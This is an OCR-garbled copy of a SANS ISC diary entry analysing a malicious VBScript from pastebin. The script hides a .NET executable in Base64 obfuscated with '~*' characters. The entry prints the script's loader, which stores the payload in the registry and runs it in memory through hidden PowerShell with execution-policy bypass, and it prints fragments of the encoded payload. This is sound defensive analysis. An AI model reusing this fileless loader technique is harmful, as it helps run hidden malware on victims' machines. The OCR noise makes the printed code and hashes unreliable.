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A VBScript with Obfuscated Base64 Data
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A few months ago, | posted a diary to explain how to search for (malicious) PE files in
Base64 data[1]. Base64 is indeed a common way to distribute binary content in an ASCII
form. There are plenty of scripts based on this technique. On my Macbook, I'm using a small
service created via Automator to automatically decode highlighted Base64 data and submit
them to my Viper instance for further analysis:

set O=CreateObject("Wscript.Shell")
fl=Wscript.scriptfullname
sn=Wscript.scriptname

c=' E i icy Bypass -wil hidden -noexit -Command "

H="TVGQAAMAAAAEAAAA/BAALGAAAAAAAAA QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAGAAAAALTUGI AANN IbgBTM~*hVGhp Bi GREITIGIVZGUUDQ~"KJAAA
AAAARABQROAATAFDAGGRRFKAAAAAAAAAAOAAAGF] AOSAAL IAAAAIAAAAAAAAIFAAAASAAAASAAABABAAAAGAAAAAGAABAAAAAAAAAAE AAAAAAAABAAGAQAAAGAAAAAAAAIAGIUAABAAABAAAAAAEAAAEAAAAAAAABA
AAAAAAAAAA D8ZWAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAE
GAAAAAAAAA AuenNyYWAAAPGEAAAA4AAAAAYAAAC~*AAAAAAAAAAAAAAAAAABAAABALNIbGOAAAMAAAAAAABAAACAAAAUGAAAAAAAAAAA
AAAAAAAQAA . AAAAAAABGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMWBOBMAAAAAQAAEQA
CKAUAAAOWI [Users|xavier/Downloads/ (GeBxdYCweGjmn+BA~*JLd4GDCSACCOTMAMACGAAAAIAABEACGEAAHAKIGKAAACL BMBG AAAKF 1 kMIKxkABWY IbwoAAAGMCWAAAS
gLAAAKCWAIR Base64/5ac498f3e88a82c903¢c4203dd44 /DgAACMBPAAAKEW YRBREGFGEQAAAKJIoAABMWAQALAAAAAWAAEQB+AQAABACTAAYGVNMEAAAGKBMAAAD~* AWAAACABAAA
EKn4CKBQAA : 3N+AACGAGAAUAIAACNTAHJpbMAZAAAAAFGFAAAIGAAAI VTAGCIAAAQAAAAI~"VSUQAAABWIQAALAEAACNCDGOIAAAAAAAAAAI
AAAFXFalBCC /\ d8ead49528dc194f4d66d6bBEIACTICEE  4)) 0 AQAAAAEAAAABAAAAAQAAAAIAAAAAAACAAQAAAAAABGBIAGMACCGAHEABDUANSADWACAQAABOAXAREBBOBRARE
BBgBVAWMAE ' 91c JASAtWBBgBLAREBCGB-+AMYCCgCCANEAAARAAAEAAAAAAAEAAQCAARAAHGAMAAUAAQABAAABEAAZADBACQABAAMAEQCIAB
QAUCAAAAAZ s =*AAA/IQAAAACRGJUCEAACAAAAAQDXABKAYQAMACKAYQASADEAYQAGADKAYQAJAE EAQE2AE EAWE 7 AEE ADWE/AFEAUQFFA
EEAWAFUAEE sl Ll AIKAYQCMAJEAGQLXABEAYQAJACAAIWAXACAAGWAKAS4ACWD4ACAA AfgDSAAMAAQAAAMBAIQA
CAAMAAWAES IAAAAAAAAAAAAABAGMAAAAAAAAAADXND2R1bGU-+AFdpbmAVAIN X JAUHVZ3JhbQ VXRpbGI~*ZXM
AU2V~*dGIuZi Cancel L [dABTeXN~"ZW~*uQ29uZmindX. R QmMFzZQBIZXgyQni~*ZXMATWF pbgBKZWZhdWx~*SW52dG
FuY2UAZ2V~" AAERIYNVnZ2FIbGVBAHRyaWJ1dGUARGVidWcnaW5n TWBIZXMAUSIZAGVILI1 bnRsbWUUQ291CGISZXITZX 28 WNICWBDb2 TwaWahd
GIVDNIbGF A Y X e ey e QV oGV ZEF - dHUpYnY~+Z QB THIpDMGAS XN OGS T3 Fb XB-~e QBNZXRITGVUZIROAE JSAGUAUSVICIRyaWSNAENVNZICNOAY
GICEXRIAEVcHASAGAIdFIDaGFycwBDaGFyAENVbmNhdABTeXN~*ZW~*uUmVmbGVidGivb KAE1 ZMBAZ2V~"X~*VudHJ5UGIpbnQATWVEYmVy \ZXRITMFZQBDCmVhdGVJbnN~"YW5[2Q

BNZXRob2RCYXNIAEIudmSrZQBDb21waWxickdibmVyYXRIZEF~*dHJpYnV~*ZQBTeXN~"ZW~*uQ29kZURvbS5Db21waWxicgBHZWSIcmF~*ZWRDb2RIQXR~* cmlidX RIACS] Y 3Rveg BTZX R~ aWsnc~*Jhc2UAUSIU Y2hyb25pemVKAAAAA
MAAGAEWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWAD AAMAAWADAAMAAWADAAMAAWA DAAMAAWA DAAMAAWADAAMAAWA
DAAMAAWADAAMAAWA DAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWA DAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAW
ADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWAD AAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAA

But yesterday, | found, on pastebin.com[2], a malicious WScript file with a Base64 string that
did not decode. The script ended with an error "Invalid character in input stream”. | had a
quick look at the script and found indeed unexpected characters randomly spread in the
Base64 data:

1/3


https://isc.sans.edu/diary/rss/22590
https://isc.sans.edu/forums/diary/A+VBScript+with+Obfuscated+Base64+Data/22590/
https://isc.sans.edu/handler_list.html#xavier-mertens
https://isc.sans.edu/forums/diary/A+VBScript+with+Obfuscated+Base64+Data/22590/#comments
https://isc.sans.edu/forums/diary/Searching+for+Base64encoded+PE+Files/22199
https://pastebin.com/EhG9ZQtH

H="TVQQAAMAAAAEAAAA/ / 8AALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAA
gBTM~*hVGhpcyBwcm9ncmFt IGNhbm5vdCBiZSBydwW4gaW4gREITIG1VZGUUDQ~*KIJAAAAAAAAABQRQAATAEDAC
OAAAQELAQSAALIAAAATIAAAAAAAA j t EAAAAGAAAAGAAAAABAAAAGAAAAAGAABAAAAAAAAAAEAAAAAAAAAAAGAQA
UAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAD TRAABXAAAAAOAAAPGEAAAAAAAAAAAAAAAAAAAAAAAL
AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT AAACAAAAAAAAAAAAAAACCAAA
AC5~*ZXh~*AAAALLEAAAAGAAAAS gAAAATAAAAAAAAAAAAAAAAAACAAAGAUCNNY YWAAAPGEAAAALAAAAAYAAAC~

AAAABAAABAL . .. (redacted)

If you check in the VBScript code, you'll indeed see an instruction to replace those
unexpected characters from the Base64 string:

$_b=$_b.replace('~*','0");
When just replace the string by ‘0’ as stated in the script, you get back the malicious PE file:

$ sed "s/\~\*/0/g" base64.txt | base64 -d >base64.exe

$ file base64.exe

foo.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
$ md5sum base64.exe

07be65dedbee@ef5582f0eff5dd4d804 base64.exe

The file is, of course, malicious as reported by VT[3].

Finally, a quick remark about the script itself: it uses the Windows registry to store the
payload and execute it:

O.regwrite D,H, "REG_Sz"

0.Run C & chrw(34) & "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name
'KeyName') .KeyName;

$ b=$ b.replace('~*','0"');

[byte[]]$_0 = [System.Convert]::FromBase64String($_b);

$_1 = [System.Threading.Thread]: :GetDomain().Load($_0);
$_1.EntryPoint.invoke($null, $null);" & Chrw(34),0,false

Nothing fancy here but attackers are always using small tricks to prevent (or better " to slow
down") the automated analysis by security tools. Search always for functions/tools that do
search/replace operations in the analyzed code. It can help to save your time. Happy
hunting!

[1] https://isc.sans.edu/forums/diary/Searching+for+Base64encoded+PE+Files/22199

[2] https://pastebin.com/EhG9ZQtH

[3]
https://www.virustotal.com/en/file/0e6694d37b2a424402a41bbd520bec4bc416813fa744013b
alb3eab27378a291/analysis/
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